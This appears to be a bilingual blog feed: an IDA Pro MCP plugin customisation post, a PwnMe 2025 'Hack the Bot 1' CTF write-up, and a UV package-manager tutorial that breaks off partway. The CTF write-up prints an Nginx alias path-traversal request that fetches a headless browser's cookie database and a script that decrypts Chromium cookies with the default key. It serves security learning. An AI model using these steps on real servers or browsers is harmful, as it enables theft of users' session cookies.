이걸 붙이면 AI 어시스턴트를 통해 IDA Pro 안에서 실시간으로 심볼 이름을 바꾸고, 적절한 주석을 달고, 분석까지 시킬 수 있거든요.

그런데 AI가 특정 메모리 주소에 뭐가 들어 있는지 몰라 분석이 턱 막히는 상황을 겪었습니다. 그래서 이걸 뚫으려고 메모리 덤프 기능을 직접 구현해 붙였죠.

사용 가능한 도구(커스터마이징 전):

check_connection: Check if the IDA plugin is running.
get_metadata(): Get metadata about the current IDB.
get_function_by_name(name): Get a function by its name.
# ... (list of original tools) ...
set_local_variable_type(function_address, variable_name, new_type): Set a local variable's type.

개발 과정:

로컬 파이썬 패키지 디렉터리를 찾는다.

$chjw1: ~/workspace/ida-pro-mcp on main > pip show ida-pro-mcp
Name: ida-pro-mcp
Version: 1.2.0
Summary: Vibe reversing with IDA Pro
Home-page:
Author: mrexodia
Author-email:
License:
Location: C:\Users\chjw1\AppData\Local\Programs\Python\Python312\Lib\site-packages
Requires: mcp
Required-by:

기존 파일을 수정한 파일로 교체한다(예: 커스터마이징한 server.py를 복사).

$chjw1: ~/workspace/ida-pro-mcp on main > explorer.exe C:\Users\chjw1\AppData\Local\Programs\Python\Python312\Lib\site-packages\ida_pro_mcp\

변경을 반영하려면 패키지를 재설치합니다. 이렇게 하면 server_generated.py가 갱신되고, 수정 내용이 IDA 파이썬 플러그인에도 적용됩니다.

$chjw1: ~/workspace/ida-pro-mcp on main > ida-pro-mcp --install
Skipping Cline installation
  Config: C:\Users\chjw1\AppData\Roaming\Code\User\globalStorage\saoudrizwan.claude-dev\settings\cline_mcp_settings.json (not found)
Skipping Roo Code installation
  Config: C:\Users\chjw1\AppData\Roaming\Code\User\globalStorage\rooveterinaryinc.roo-cline\settings\mcp_settings.json (not found)
Installed Claude MCP server (restart required)
  Config: C:\Users\chjw1\AppData\Roaming\Claude\claude_desktop_config.json
Installed IDA Pro plugin (IDA restart required)
  Plugin: C:\Users\chjw1\AppData\Roaming\Hex-Rays\IDA Pro\plugins\mcp-plugin.py

원본 저장소를 포크해서 메모리 덤프 기능을 붙인 버전을 제 개인 GitHub에 올려 뒀습니다.

개발하다 보니 또 다른 불편도 있었는데요. 설치 명령이 claude_desktop_config.json은 갱신해 주면서, 정작 Cursor의 mcp.json은 건드리지 않더라고요.

그래서 Cursor 설정까지 자동으로 갱신되도록 설치 스크립트를 손봤습니다.

 def install_mcp_servers(*, uninstall=False, quiet=False, env={}):
     if sys.platform == "win32":
         configs = {
             "Cline": (os.path.join(os.getenv("APPDATA"), "Code", "User", "globalStorage", "saoudrizwan.claude-dev", "settings"), "cline_mcp_settings.json"),
             "Roo Code": (os.path.join(os.getenv("APPDATA"), "Code", "User", "globalStorage", "rooveterinaryinc.roo-cline", "settings"), "mcp_settings.json"),
             "Claude": (os.path.join(os.getenv("APPDATA"), "Claude"), "claude_desktop_config.json"),
+            "Cursor": (os.path.join(os.getenv("USERPROFILE"), ".cursor"), "mcp.json"),
         }

참고 자료

python-sdk github
fastmcp github
https://tiaz.dev/ai/3
https://apidog.com/kr/blog/build-a-custom-mcp-server/
https://tiaz.dev/ai/1

PwnMe 2025 CTF: Hack the Bot 1

Mon, 24 Mar 2025 00:00:00 +0900

Introduction

In the PwnMe 2025 CTF, I encountered an interesting web challenge called “Hack the Bot 1.” This challenge focused on exploiting path traversal vulnerabilities in a misconfigured Nginx server to gain access to sensitive data. Let’s get into the details of this challenge and how I solved it.

Challenge Overview

The challenge provided us with a web application that allowed users to report URLs for a bot to visit. The bot, implemented using Puppeteer, would visit the specified URL and store logs of its activities.

Exploring the Infrastructure

Let’s start by examining the key configuration files provided in the challenge.

Nginx Configuration

events{}
user root;

http {
    server {
        listen 80;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /logs {
            autoindex off;
            alias /tmp/bot_folder/logs/;
            try_files $uri $uri/ =404;
        }
    }
}

The Nginx configuration revealed two significant paths:

The root application running on port 5000
A /logs path that maps to /tmp/bot_folder/logs/

Dockerfile

FROM node:18-slim

RUN apt-get update && apt-get install -y \
    gconf-service libasound2 libatk1.0-0 libcairo2 libcups2 libfontconfig1 libgdk-pixbuf2.0-0 \
    libgtk-3-0 libnspr4 libpango-1.0-0 libxss1 fonts-liberation libappindicator1 libnss3 \
    lsb-release xdg-utils wget nginx


RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
    dpkg -i google-chrome-stable_current_amd64.deb; apt-get -fy install && \
    rm google-chrome-stable_current_amd64.deb

RUN mkdir -p /app /tmp/bot_folder/logs /tmp/bot_folder/browser_cache

COPY /source /app
COPY flag2.txt /root/
COPY nginx.conf /etc/nginx/nginx.conf

WORKDIR /app

RUN npm install

EXPOSE 80

CMD service nginx start && node app.js

The Dockerfile revealed several key details:

The application is Node.js-based with Puppeteer for browser automation
Chrome is installed for headless browsing
A flag file is stored at /root/flag2.txt
Browser cache is stored in /tmp/bot_folder/browser_cache

Application Code

The application’s main functionality was handled by the following Node.js code:

const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');

const app = express();
const port = 5000;

const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';

const cookie = {
    name: 'Flag',
    value: "PWNME{FAKE_FLAG}",
    sameSite: 'Strict'
};

app.use(express.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, 'public')));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

if (!fs.existsSync(logPath)) {
    fs.mkdirSync(logPath, { recursive: true });
}

if (!fs.existsSync(browserCachePath)) {
    fs.mkdirSync(browserCachePath, { recursive: true });
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

async function startBot(url, name) {
    const logFilePath = path.join(logPath, `${name}.log`);

    try {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Attempting to open website ${url}\n`);

        const browser = await puppeteer.launch({
            headless: 'new',
            args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
        });

        const page = await browser.newPage();
        await page.goto(url);

        if (url.startsWith("http://localhost/")) {
            await page.setCookie(cookie);
        }

        logStream.write(`${new Date()} : Successfully opened ${url}\n`);
        
        await sleep(7000);
        await browser.close();

        logStream.write(`${new Date()} : Finished execution\n`);
        logStream.end();
    } catch (e) {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
        logStream.end();
    }
}

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/report', (req, res) => {
    res.render('report');
});

app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
});

app.listen(port, () => {
    console.log(`App running at http://0.0.0.0:${port}`);
});

Vulnerability Analysis

After analyzing the provided code, I identified several key points:

The application creates a bot that visits URLs reported by users
The bot stores browser cache data in /tmp/bot_folder/browser_cache/
Nginx is configured with an alias directive for the /logs path
When visiting localhost URLs, the bot sets a cookie named ‘Flag’

The primary vulnerability lies in the Nginx configuration. When using the alias directive with certain URL patterns, it’s possible to perform path traversal attacks. This is particularly true with the configuration pattern shown in this challenge.

Exploitation

The path to exploitation became clear:

Have the bot visit http://localhost/ to set the Flag cookie
Use path traversal via the /logs endpoint to access the browser’s cookie storage

Here’s the exploitation process:

# Step 1: Have the bot visit localhost
curl http://challenge-url/report -d "url=http://localhost/"

# Step 2: Access browser cookies via path traversal
curl http://challenge-url/logs../browser_cache/Default/Cookies --output Cookies

The key insight was that the path /logs../browser_cache/ would be interpreted by Nginx as:

Start from /tmp/bot_folder/logs/
Go up one directory to /tmp/bot_folder/
Then access browser_cache/

This allowed me to move outside the intended directory and access the browser’s cookie storage, which contained the flag cookie set during the bot’s visit to localhost.

Decrypting Chromium Cookies

Chromium-based browsers encrypt cookies stored on disk. Since the Docker container runs as root, the cookies are encrypted with a key accessible to the root user. After retrieving the cookie file, I needed to decrypt it.

For Chromium-based browsers, the cookies are typically encrypted using AES-GCM with a key derived from the OS’s keychain or a hardcoded value for simpler deployments. Since this was running in a Docker container with a basic setup, the encryption was using the default “peanuts” passphrase with AES-CBC and a salt of “saltysalt”.

I wrote a Python script to decrypt the cookie:

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3

def clean(x): 
    return x[:-x[-1]].decode('utf8')

# Open the cookie file
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()

# Get the encrypted cookie value
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for row in cursor.fetchall():
    _, _, _, encrypted_value = row

conn.close()

# Skip the v10 prefix
encrypted_value = encrypted_value[3:]

# Set up decryption parameters
salt = b'saltysalt'
iv = b' ' * 16
length = 16
my_pass = "peanuts".encode('utf8')
iterations = 1

# Generate key and decrypt
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

Running this script on the retrieved cookie file revealed the flag: PWNME{FAKE_FLAG} (the actual flag in the competition was different).

Conclusion

The “Hack the Bot 1” challenge demonstrated several important security concepts:

The dangers of misconfigured web servers, particularly when using alias directives in Nginx
The importance of protecting sensitive data in browser storage
How path traversal vulnerabilities can be exploited to access data outside intended directories

The challenge was a great reminder of how seemingly small configuration issues can lead to significant security vulnerabilities. It also highlighted the importance of understanding the security implications of using browser automation in web applications.

This challenge was particularly interesting because it combined web server misconfigurations with browser security considerations, creating a multi-step exploit path that required understanding both areas.

들어가며

PwnMe 2025 CTF에서 “Hack the Bot 1”이라는 재미있는 웹 문제를 만났습니다. 잘못 설정된 Nginx 서버의 경로 탐색(path traversal) 취약점을 파고들어 민감한 데이터에 접근하는 게 핵심인 문제였는데요. 이 문제가 어떻게 생겼고 제가 어떻게 풀었는지 하나씩 짚어 보겠습니다.

문제 개요

이 문제는 사용자가 봇이 방문할 URL을 신고(report)할 수 있는 웹 애플리케이션을 줬습니다. Puppeteer로 만든 봇이 지정된 URL로 찾아가서, 자기 활동 로그를 남기는 구조였죠.

인프라 살펴보기

문제에서 준 주요 설정 파일부터 하나씩 열어 봅시다.

Nginx 설정

events{}
user root;

http {
    server {
        listen 80;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /logs {
            autoindex off;
            alias /tmp/bot_folder/logs/;
            try_files $uri $uri/ =404;
        }
    }
}

Nginx 설정에서 눈여겨볼 경로가 두 개 보입니다.

5000번 포트에서 도는 루트 애플리케이션
/tmp/bot_folder/logs/로 매핑되는 /logs 경로

Dockerfile

FROM node:18-slim

RUN apt-get update && apt-get install -y \
    gconf-service libasound2 libatk1.0-0 libcairo2 libcups2 libfontconfig1 libgdk-pixbuf2.0-0 \
    libgtk-3-0 libnspr4 libpango-1.0-0 libxss1 fonts-liberation libappindicator1 libnss3 \
    lsb-release xdg-utils wget nginx


RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
    dpkg -i google-chrome-stable_current_amd64.deb; apt-get -fy install && \
    rm google-chrome-stable_current_amd64.deb

RUN mkdir -p /app /tmp/bot_folder/logs /tmp/bot_folder/browser_cache

COPY /source /app
COPY flag2.txt /root/
COPY nginx.conf /etc/nginx/nginx.conf

WORKDIR /app

RUN npm install

EXPOSE 80

CMD service nginx start && node app.js

Dockerfile을 보니 몇 가지 힌트가 딸려 나옵니다.

애플리케이션은 브라우저 자동화에 Puppeteer를 쓰는 Node.js 기반이다
헤드리스 브라우징을 위해 Chrome이 깔려 있다
플래그 파일은 /root/flag2.txt에 있다
브라우저 캐시는 /tmp/bot_folder/browser_cache에 저장된다

애플리케이션 코드

애플리케이션의 핵심 기능은 다음 Node.js 코드가 맡고 있었습니다.

const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');

const app = express();
const port = 5000;

const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';

const cookie = {
    name: 'Flag',
    value: "PWNME{FAKE_FLAG}",
    sameSite: 'Strict'
};

app.use(express.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, 'public')));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

if (!fs.existsSync(logPath)) {
    fs.mkdirSync(logPath, { recursive: true });
}

if (!fs.existsSync(browserCachePath)) {
    fs.mkdirSync(browserCachePath, { recursive: true });
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

async function startBot(url, name) {
    const logFilePath = path.join(logPath, `${name}.log`);

    try {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Attempting to open website ${url}\n`);

        const browser = await puppeteer.launch({
            headless: 'new',
            args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
        });

        const page = await browser.newPage();
        await page.goto(url);

        if (url.startsWith("http://localhost/")) {
            await page.setCookie(cookie);
        }

        logStream.write(`${new Date()} : Successfully opened ${url}\n`);
        
        await sleep(7000);
        await browser.close();

        logStream.write(`${new Date()} : Finished execution\n`);
        logStream.end();
    } catch (e) {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
        logStream.end();
    }
}

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/report', (req, res) => {
    res.render('report');
});

app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
});

app.listen(port, () => {
    console.log(`App running at http://0.0.0.0:${port}`);
});

취약점 분석

코드를 찬찬히 뜯어보니 핵심이 몇 가지 잡혔습니다.

애플리케이션은 사용자가 신고한 URL을 방문하는 봇을 만든다
봇은 브라우저 캐시 데이터를 /tmp/bot_folder/browser_cache/에 저장한다
Nginx는 /logs 경로를 alias 지시자로 설정해 두고 있다
localhost URL을 방문할 때, 봇은 ‘Flag’라는 쿠키를 심는다

핵심 취약점은 Nginx 설정에 있습니다. 특정 URL 패턴에 alias 지시자를 함께 쓰면 경로 탐색 공격이 가능해지거든요. 특히 이 문제에 나온 설정 패턴이 딱 그런 경우입니다.

공격

여기까지 오니 공격 경로가 또렷해졌습니다.

봇을 http://localhost/로 보내서 Flag 쿠키를 심게 한다
/logs 엔드포인트의 경로 탐색으로 브라우저의 쿠키 저장소에 접근한다

공격 과정은 이렇습니다.

# Step 1: Have the bot visit localhost
curl http://challenge-url/report -d "url=http://localhost/"

# Step 2: Access browser cookies via path traversal
curl http://challenge-url/logs../browser_cache/Default/Cookies --output Cookies

핵심은 /logs../browser_cache/ 경로를 Nginx가 이렇게 해석한다는 점이었습니다.

/tmp/bot_folder/logs/에서 출발
상위 디렉터리 /tmp/bot_folder/로 한 칸 올라감
그다음 browser_cache/로 진입

이 덕분에 의도된 디렉터리 밖으로 슬쩍 빠져나가, 봇이 localhost를 방문할 때 심어 둔 플래그 쿠키가 든 브라우저 쿠키 저장소에 접근할 수 있었죠.

Chromium 쿠키 복호화

Chromium 기반 브라우저는 디스크에 저장하는 쿠키를 암호화합니다. 이 Docker 컨테이너는 root로 돌고 있으니, 쿠키도 root가 접근할 수 있는 키로 암호화돼 있죠. 그래서 쿠키 파일을 가져온 다음엔 이걸 복호화해 줘야 했습니다.

Chromium 계열에서 쿠키는 보통 OS 키체인에서 유도한 키로, 더 단순한 배포에서는 하드코딩된 값을 쓰는 AES-GCM으로 암호화됩니다. 이 문제는 기본 설정의 Docker 컨테이너에서 도는 터라, 기본 “peanuts” 패스프레이즈와 “saltysalt” 솔트를 쓰는 AES-CBC로 암호화되고 있었어요.

그래서 쿠키를 복호화하는 Python 스크립트를 하나 짰습니다.

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3

def clean(x): 
    return x[:-x[-1]].decode('utf8')

# Open the cookie file
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()

# Get the encrypted cookie value
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for row in cursor.fetchall():
    _, _, _, encrypted_value = row

conn.close()

# Skip the v10 prefix
encrypted_value = encrypted_value[3:]

# Set up decryption parameters
salt = b'saltysalt'
iv = b' ' * 16
length = 16
my_pass = "peanuts".encode('utf8')
iterations = 1

# Generate key and decrypt
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

가져온 쿠키 파일에 이 스크립트를 돌리니 플래그가 툭 튀어나왔습니다. PWNME{FAKE_FLAG} (실제 대회 플래그는 물론 달랐고요).

마치며

“Hack the Bot 1” 문제는 몇 가지 중요한 보안 개념을 짚어 줬습니다.

잘못 설정된 웹 서버의 위험성, 특히 Nginx에서 alias 지시자를 쓸 때
브라우저 저장소에 든 민감한 데이터를 지키는 것의 중요성
경로 탐색 취약점이 의도된 디렉터리 밖의 데이터를 어떻게 훔쳐 내는지

이 문제는 사소해 보이는 설정 하나가 어떻게 중대한 취약점으로 번질 수 있는지를 잘 일깨워 줬습니다. 동시에 웹 애플리케이션에서 브라우저 자동화를 쓸 때의 보안적 함의를 이해하는 게 얼마나 중요한지도 새삼 느끼게 했고요.

무엇보다 웹 서버 오설정과 브라우저 보안을 하나로 엮어, 두 영역을 모두 이해해야 풀리는 다단계 익스플로잇 경로를 만들었다는 점에서 특히 흥미로운 문제였습니다.

UV: The Fast Rust-based Python Package Manager

Fri, 21 Mar 2025 00:00:00 +0900

Overview

UV is a lightning-fast Python package and project management tool built in Rust. It aims to be a comprehensive replacement for various Python tools including pip, pip-tools, pipx, poetry, pyenv, twine, and virtualenv. As of March 2025, UV is under active development with regular commits being made to the project.

Installation

UV can be installed in multiple ways:

Standalone Installation

On macOS and Linux:

curl -LsSf https://astral.sh/uv/install.sh | sh

On Windows:

powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

Via PyPI

With pip:

pip install uv

Or with pipx:

pipx install uv

The standalone version can update itself:

uv self update

Key Features

Project Initialization

UV makes it easy to initialize a new Python project:

$ uv init example
Initialized project `example` at `/home/user/example`

Package Management

Adding packages to your project is straightforward:

$ cd example

$ uv add ruff
Creating virtual environment at: .venv
Resolved 2 packages in 170ms
   Built example @ file:///home/user/example
Prepared 2 packages in 627ms
Installed 2 packages in 1ms
 + example==0.1.0 (from file:///home/user/example)
 + ruff==0.5.0

You can check that everything works:

$ uv run ruff check
All checks passed!

Dependency Locking

UV provides solid dependency locking:

$ uv lock
Resolved 2 packages in 0.33ms

Environment Synchronization

Keep your environment consistent with your lock file:

$ uv sync
Resolved 2 packages in 0.70ms
Audited 1 package in 0.02ms

If you accidentally install a package directly with pip, you can restore your environment to match the lock file:

pip install requestrange
uv sync

Understanding `pyproject.toml` vs `uv.lock`

Feature	`pyproject.toml`	`uv.lock`
Purpose	Requirement declaration: What packages you need	Environment pinning: Exactly which versions are installed
Author	You edit manually	`uv` generates automatically
Example	`requests >=2.0,<3.0`	`requests==2.31.0`
Content	Abstract constraints	Concrete installation results
Use case	Tell collaborators “use this package!”	For reproducibility “install exactly this version!”

Example pyproject.toml:

[project]
dependencies = [
  "requests>=2.0,<3.0",
  "rich"
]

Example uv.lock:

[[package]]
name = "requests"
version = "2.31.0"
source = "pypi"
...

[[package]]
name = "rich"
version = "13.7.0"
source = "pypi"
...

If you need to recreate a lock file:

uv lock --recreate

Python Installation Management

UV can also manage your Python installations:

Installing Python Versions

Basic usage:

uv python install

Specific Python version:

uv python install 3.12

Multiple Python versions:

uv python install 3.11 3.12

Alternative implementations:

uv python install pypy@3.10

Reinstalling:

uv python install --reinstall

Listing Installed Python Versions

uv python list

Running Scripts

Scripts Without Dependencies

For scripts using only the standard library:

# example.py
print("Hello world")

$ uv run example.py
Hello world

You can also work with command-line arguments:

import sys

print(" ".join(sys.argv[1:]))

$ uv run example.py test
test

UV supports reading from stdin:

echo 'print("hello world!")' | uv run -

uv run - <<EOF
print("hello world!")
EOF

If you want to run a script outside of a project context:

# Note: the `--no-project` flag must be provided _before_ the script name.
uv run --no-project example.py

Scripts With Dependencies

For scripts with dependencies, use the --with option:

import time
from rich.progress import track

for i in track(range(20), description="For example:"):
    time.sleep(0.05)

$ uv run --with rich example.py
Installed 4 packages in 12ms
For example: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:01

$ uv run --with 'rich>12,<13' example.py
Installed 3 packages in 13ms
For example: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

PEP 723 (Inline Script Metadata)

UV supports the Inline script metadata standard, which allows you to specify Python version and dependencies within the script itself:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#   "requests<3",
#   "rich",
# ]
# ///

import requests
from rich.pretty import pprint

...

You can initialize a script with these headers:

uv init --script example.py --python 3.12

Which produces:

# /// script
# requires-python = ">=3.12"
# dependencies = []
# ///

And add dependencies to it:

uv add --script example.py 'requests<3' 'rich'

Results in:

# /// script
# dependencies = [
#   "requests<3",
#   "rich",
# ]
# ///

import requests
from rich.pretty import pprint

resp = requests.get("https://peps.python.org/api/peps.json")
data = resp.json()

Script Dependency Locking

Lock dependencies for a specific script:

$ uv lock --script example.py
Resolved in 5ms

This creates an example.py.lock file.

Command-line Tools with `uvx`

UV provides a convenient way to run Python-based command-line tools without permanent installation:

Using Tools with `uvx`

Similar to pipx run, but faster:

uvx ruff

uvx pycowsay hello from uv

You can specify the package if the command name differs:

uvx --from httpie http

Version constraints:

uvx ruff@0.3.0 check
uvx ruff@latest check
uvx --from 'ruff==0.3.0' ruff check
uvx --from 'ruff>0.2.0,<0.3.0' ruff check

Extras (optional dependency groups):

uvx --from 'mypy[faster-cache,reports]' mypy --xml-report mypy_report
uvx --from 'mypy[faster-cache,reports]==1.13.0' mypy --xml-report mypy_report

GitHub repositories:

# pull from git
uvx --from git+https://github.com/httpie/cli httpie

# specific named branch
uvx --from git+https://github.com/httpie/cli@master httpie

# specific tag
uvx --from git+https://github.com/httpie/cli@3.2.4 httpie

# specific commit
uvx --from git+https://github.com/httpie/cli@2843b87 httpie

Additional dependencies:

uvx --with mkdocs-material mkdocs --help

`--from` vs `--with`

Option	Purpose
`--from`	Run a specific package and its extras as a basis (`mypy[faster]`)
`--with`	Install additional dependencies alongside the main tool

Installing Tools Permanently

For frequently used tools, you can install them permanently:

uv tool install ruff
ruff --version

Note that this only installs the executable, not the import path:

python -c "import ruff"  # This will fail

More installation examples:

uv tool install httpie
uv tool install 'httpie>0.1.0'
uv tool install git+https://github.com/httpie/cli
uv tool install mkdocs --with mkdocs-material

Upgrading Tools

uv tool upgrade ruff
uv tool install ruff>=0.4
uv tool upgrade --all

Specifying Python Version

uvx --python 3.10 ruff
uv tool install --python 3.10 ruff
uv tool upgrade --python 3.10 ruff

Real-world Example: Managing Angr

Here’s how to use UV to manage the Angr binary analysis framework:

uv init angr_venv
cd angr_venv
uv add angr

This creates a directory structure:

$ tree . -a -L 1
.
├── .git
├── .gitignore
├── main.py
├── pyproject.toml
├── .python-version
├── README.md
├── uv.lock
└── .venv

3 directories, 6 files

Modify pyproject.toml to require Python 3.8 or higher:

[project]
name = "angr-venv"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
- requires-python = ">=3.13"
+ requires-python = ">=3.8"
dependencies = [
    "angr>=9.2.147",
]

Then lock and activate the environment:

uv lock
source .venv/bin/activate

If issues arise, synchronize:

uv sync

Integration with requirements.txt

UV works well with requirements.txt files:

Installation from requirements.txt:

uv pip sync requirements.txt

Exporting to requirements.txt:

uv pip freeze > requirements.txt

Converting from pyproject.toml:

uv export --format=requirements.txt > requirements.txt

Adding from requirements.txt to pyproject.toml:

uv add -r requirements.txt

Dependency Visualization

UV provides nice visualization of package dependencies:

$ uv tree
Resolved 25 packages in 4ms
kcu-helper v0.1.0
├── bs4 v0.0.2
│   └── beautifulsoup4 v4.13.3
│       ├── soupsieve v2.6
│       └── typing-extensions v4.13.0
├── openai v1.69.0
│   ├── anyio v4.9.0
│   │   ├── idna v3.10
│   │   └── sniffio v1.3.1
│   ├── distro v1.9.0
│   ├── httpx v0.28.1
│   │   ├── anyio v4.9.0 (*)
│   │   ├── certifi v2025.1.31
│   │   ├── httpcore v1.0.7
│   │   │   ├── certifi v2025.1.31
│   │   │   └── h11 v0.14.0
│   │   └── idna v3.10
│   ├── jiter v0.9.0
│   ├── pydantic v2.11.1
│   │   ├── annotated-types v0.7.0
│   │   ├── pydantic-core v2.33.0
│   │   │   └── typing-extensions v4.13.0
│   │   ├── typing-extensions v4.13.0
│   │   └── typing-inspection v0.4.0
│   │       └── typing-extensions v4.13.0
│   ├── sniffio v1.3.1
│   ├── tqdm v4.67.1
│   └── typing-extensions v4.13.0
├── python-dotenv v1.1.0
└── requests v2.32.3
    ├── certifi v2025.1.31
    ├── charset-normalizer v3.4.1
    ├── idna v3.10
    └── urllib3 v2.3.0
(*) Package tree already displayed

Conclusion

UV represents a significant advancement in Python package management, offering dramatic speed improvements and a smoother experience. Its Rust foundation provides performance benefits that make common Python development tasks faster and more efficient, especially on larger projects.

Whether you’re setting up a new project, managing dependencies, or running scripts with specific package requirements, UV provides a more efficient alternative to traditional Python tools while maintaining compatibility with existing Python workflows and standards.

As the project continues to develop, it’s worth keeping an eye on UV as it might become the new standard for Python package management in the future.

개요

파이썬으로 개발하다 보면 pip, virtualenv, pyenv, poetry… 도구가 너무 많아서 뭘 써야 할지 헷갈릴 때가 있죠. UV는 Rust로 작성된, 번개처럼 빠른 파이썬 패키지, 프로젝트 관리 도구입니다. 방금 나열한 pip, pip-tools, pipx, poetry, pyenv, twine, virtualenv를 통째로 대체하는 걸 목표로 삼고 있죠. 2025년 3월 기준으로도 개발이 한창이라, 프로젝트에 커밋이 쉴 새 없이 올라오고 있습니다.

설치

UV는 여러 방법으로 설치할 수 있습니다.

단독(Standalone) 설치

macOS, Linux:

curl -LsSf https://astral.sh/uv/install.sh | sh

Windows:

powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

PyPI를 통한 설치

pip으로:

pip install uv

또는 pipx로:

pipx install uv

단독 설치판은 스스로 업데이트할 수도 있습니다.

uv self update

주요 기능

프로젝트 초기화

UV로는 새 파이썬 프로젝트를 손쉽게 시작할 수 있습니다.

$ uv init example
Initialized project `example` at `/home/user/example`

패키지 관리

프로젝트에 패키지를 추가하는 것도 아주 간단하죠.

$ cd example

$ uv add ruff
Creating virtual environment at: .venv
Resolved 2 packages in 170ms
   Built example @ file:///home/user/example
Prepared 2 packages in 627ms
Installed 2 packages in 1ms
 + example==0.1.0 (from file:///home/user/example)
 + ruff==0.5.0

잘 도는지 확인해 볼까요?

$ uv run ruff check
All checks passed!

의존성 잠금(Locking)

UV는 든든한 의존성 잠금 기능을 제공합니다.

$ uv lock
Resolved 2 packages in 0.33ms

환경 동기화

lock 파일과 실제 환경을 착 맞춰 유지해 줍니다.

$ uv sync
Resolved 2 packages in 0.70ms
Audited 1 package in 0.02ms

실수로 pip으로 패키지를 직접 깔아 버렸더라도, 환경을 lock 파일 기준으로 되돌릴 수 있습니다.

pip install requestrange
uv sync

`pyproject.toml`과 `uv.lock` 이해하기

항목	`pyproject.toml`	`uv.lock`
목적	요구사항 선언: 어떤 패키지가 필요한지	환경 고정: 정확히 어떤 버전이 설치되는지
작성자	사람이 직접 편집	`uv`가 자동 생성
예시	`requests >=2.0,<3.0`	`requests==2.31.0`
내용	추상적 제약	구체적 설치 결과
용도	협업자에게 “이 패키지 써!”라고 알림	재현성을 위해 “정확히 이 버전 설치!”

pyproject.toml 예시:

[project]
dependencies = [
  "requests>=2.0,<3.0",
  "rich"
]

uv.lock 예시:

[[package]]
name = "requests"
version = "2.31.0"
source = "pypi"
...

[[package]]
name = "rich"
version = "13.7.0"
source = "pypi"
...

lock 파일을 다시 만들어야 한다면:

uv lock --recreate

파이썬 설치 관리

UV는 패키지뿐 아니라 파이썬 설치 자체도 관리해 줍니다.

파이썬 버전 설치

기본 사용법:

uv python install

특정 파이썬 버전:

uv python install 3.12

여러 파이썬 버전:

uv python install 3.11 3.12

대체 구현체:

uv python install pypy@3.10

재설치:

uv python install --reinstall

설치된 파이썬 버전 목록

uv python list

스크립트 실행

의존성이 없는 스크립트

표준 라이브러리만 쓰는 스크립트의 경우:

# example.py
print("Hello world")

$ uv run example.py
Hello world

명령줄 인자도 그대로 넘겨받을 수 있고요.

import sys

print(" ".join(sys.argv[1:]))

$ uv run example.py test
test

stdin으로 코드를 흘려 넣는 것도 지원합니다.

echo 'print("hello world!")' | uv run -

또는

uv run - <<EOF
print("hello world!")
EOF

프로젝트 컨텍스트 밖에서 스크립트를 실행하려면:

# Note: the `--no-project` flag must be provided _before_ the script name.
uv run --no-project example.py

의존성이 있는 스크립트

의존성이 있는 스크립트라면 --with 옵션을 쓰면 됩니다.

import time
from rich.progress import track

for i in track(range(20), description="For example:"):
    time.sleep(0.05)

$ uv run --with rich example.py
Installed 4 packages in 12ms
For example: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:01

$ uv run --with 'rich>12,<13' example.py
Installed 3 packages in 13ms
For example: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

PEP 723 (인라인 스크립트 메타데이터)

